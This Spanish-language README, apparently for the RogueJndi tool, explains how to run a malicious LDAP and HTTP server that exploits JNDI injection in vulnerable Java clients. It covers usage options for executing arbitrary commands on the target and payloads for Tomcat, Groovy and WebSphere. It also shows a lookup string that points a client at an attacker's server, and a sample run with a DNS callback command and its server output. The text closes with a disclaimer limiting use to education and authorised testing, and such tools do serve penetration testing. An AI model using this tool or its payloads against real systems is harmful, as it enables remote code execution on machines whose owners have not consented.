
Un servidor LDAP malicioso para ataques de inyección JNDI
Un servidor LDAP malicioso para ataques de inyección JNDI.
El proyecto contiene servidores LDAP y HTTP para explotar la API Java JNDI insegura por defecto.
Para realizar un ataque, puedes iniciar estos servidores localmente y luego provocar una resolución JNDI en el cliente vulnerable, p. ej.:
InitialContext.doLookup("ldap://your_server.com:1389/o=reference");
Se iniciará una conexión desde el cliente vulnerable hasta el servidor LDAP local. A continuación, el servidor local responde con una entrada maliciosa que contiene uno de los payloads, lo que puede ser útil para lograr una Ejecución Remota de Código.
Además de los métodos de ataque JNDI conocidos (mediante carga de clases remota en referencias), esta herramienta aporta nuevos vectores de ataque aprovechando el poder de ObjectFactories.
$ java -jar target/RogueJndi-1.0.jar -h
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Usage: java -jar target/RogueJndi-1.0.jar [options]
Options:
-c, --command Command to execute on the target server (default:
/Applications/Calculator.app/Contents/MacOS/Calculator)
-n, --hostname Local HTTP server hostname (required for remote
classloading and websphere payloads) (default:
192.168.1.10)
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8000)
--wsdl [websphere1 payload option] WSDL file with XXE payload
(default: /list.wsdl)
--localjar [websphere2 payload option] Local jar file to load (this
file should be located on the remote server) (default:
../../../../../tmp/jar_cache7808167489549525095.tmp)
-h, --help Show this help
Los parámetros más importantes son el hostname del servidor LDAP (-n, debe ser accesible desde el objetivo) y el comando que quieres ejecutar en el servidor objetivo (-c).
Como alternativa a la opción "-c", puedes modificar el archivo ExportObject.java incluyendo el código Java que quieras ejecutar en el servidor objetivo.
$ java -jar target/RogueJndi-1.1.jar --command "nslookup your_dns_sever.com" --hostname "192.168.1.10"
+-+-+-+-+-+-+-+-+-+
|R|o|g|u|e|J|n|d|i|
+-+-+-+-+-+-+-+-+-+
Starting HTTP server on 0.0.0.0:8000
Starting LDAP server on 0.0.0.0:1389
Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference
Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat
Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy
Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1
Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2
Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2
Se requiere Java v1.7+ y Maven v3+
mvn package
Este software se proporciona únicamente con fines educativos y/o para probar sistemas para los que el usuario tiene permiso previo para atacar.